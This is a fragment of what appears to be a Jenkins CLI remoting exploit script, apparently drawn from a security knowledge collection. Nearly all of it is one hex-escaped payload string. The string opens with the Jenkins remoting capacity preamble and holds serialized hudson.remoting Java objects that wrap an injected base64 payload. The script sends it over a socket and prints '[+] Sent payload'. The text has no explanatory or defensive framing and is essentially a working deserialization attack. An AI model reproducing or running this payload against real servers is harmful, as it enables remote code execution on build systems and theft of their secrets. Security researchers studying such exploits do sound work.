payload='\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'+payload_b64+'\x00\x00\x00\x00\x11\x2d\xac\xed\x00\x05\x73\x72\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x4c\x00\x10\x63\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x50\x72\x6f\x78\x79\x74\x00\x30\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x3b\x5b\x00\x07\x72\x65\x71\x75\x65\x73\x74\x74\x00\x02\x5b\x42\x4c\x00\x08\x74\x6f\x53\x74\x72\x69\x6e\x67\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49\x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x03\x5b\x00\x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x78\x70\x00\x00\x00\x0c\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x78\x70\x00\x00\x00\x43\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x3c\x74\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x74\x00\x10\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x03\x08\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\x6e\x65\x6c\x2e\x6a\x61\x76\x61\x74\x00\x04\x63\x61\x6c\x6c\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xfa\x74\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x74\x00\x1c\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x2e\x6a\x61\x76\x61\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x24\x50\x72\x6f\x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f\x74\x65\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x00\x0e\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\x1f\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x6e\x6e\x65\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x78\x72\x00\x2c\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x78\x70\x00\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x3c\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x70\x73\x7d\x00\x00\x00\x02\x00\x2e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x00\x1c\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x49\x52\x65\x61\x64\x52\x65\x73\x6f\x6c\x76\x65\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78\x70\x73\x72\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x05\x5a\x00\x14\x61\x75\x74\x6f\x55\x6e\x65\x78\x70\x6f\x72\x74\x42\x79\x43\x61\x6c\x6c\x65\x72\x5a\x00\x09\x67\x6f\x69\x6e\x67\x48\x6f\x6d\x65\x49\x00\x03\x6f\x69\x64\x5a\x00\x09\x75\x73\x65\x72\x50\x72\x6f\x78\x79\x4c\x00\x06\x6f\x72\x69\x67\x69\x6e\x71\x00\x7e\x00\x0d\x78\x70\x00\x00\x00\x00\x00\x02\x00\x73\x71\x00\x7e\x00\x0b\x71\x00\x7e\x00\x43\x74\x00\x78\x50\x72\x6f\x78\x79\x20\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x40\x32\x20\x77\x61\x73\x20\x63\x72\x65\x61\x74\x65\x64\x20\x66\x6f\x72\x20\x69\x6e\x74\x65\x72\x66\x61\x63\x65\x20\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x75\x71\x00\x7e\x00\x11\x00\x00\x00\x0d\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x7d\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x89\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x74\x00\x04\x77\x72\x61\x70\x73\x71\x00\x7e\x00\x13\x00\x00\x02\x6a\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x74\x00\x06\x65\x78\x70\x6f\x72\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x02\xa6\x74\x00\x21\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x74\x00\x16\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x4a\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x46\x71\x00\x7e\x00\x1d\x71\x00\x7e\x00\x1e\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x03\x08\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x71\x00\x7e\x00\x22\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xfa\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x00\x7e\x00\x26\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x71\x00\x7e\x00\x28\x70\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x71\x00\x7e\x00\x2b\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x71\x00\x7e\x00\x30\x71\x00\x7e\x00\x31\x71\x00\x7e\x00\x32\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x34\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x36\x71\x00\x7e\x00\x3a\x78\x78\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00\x07\x46\xac\xed\x00\x05\x73\x72\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\x49\x00\x03\x6f\x69\x64\x5b\x00\x09\x61\x72\x67\x75\x6d\x65\x6e\x74\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x05\x74\x79\x70\x65\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x77\x08\xff\xff\xff\xfe\x00\x00\x00\x02\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49\x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x77\x04\x00\x00\x00\x00\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x77\x04\x00\x00\x00\x00\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x77\x04\x00\x00\x00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x02\x5b\x00\x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x77\x04\xff\xff\xff\xfd\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x0b\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x02\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x02\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x02\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x43\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x02\x39\x74\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x74\x00\x1c\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xf6\x74\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x71\x00\x7e\x00\x1e\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x24\x50\x72\x6f\x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\x6e\x65\x6c\x2e\x6a\x61\x76\x61\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f\x74\x65\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x00\x0e\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\x1f\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x6e\x6e\x65\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2a\x71\x00\x7e\x00\x2b\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2a\x71\x00\x7e\x00\x2b\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x77\x04\xff\xff\xff\xfd\x78\x72\x00\x2c\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b\x77\x04\xff\xff\xff\xfd\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x39\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x70\x00\x00\x00\x01\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x01\x74\x00\x18\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x6c\x69\x45\x6e\x74\x72\x79\x50\x6f\x69\x6e\x74\x71\x00\x7e\x00\x24\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x74\x00\x1d\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x28\x31\x2c\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x29' sock.send(payload) print('[+] Sent payload')
sec-knowleage
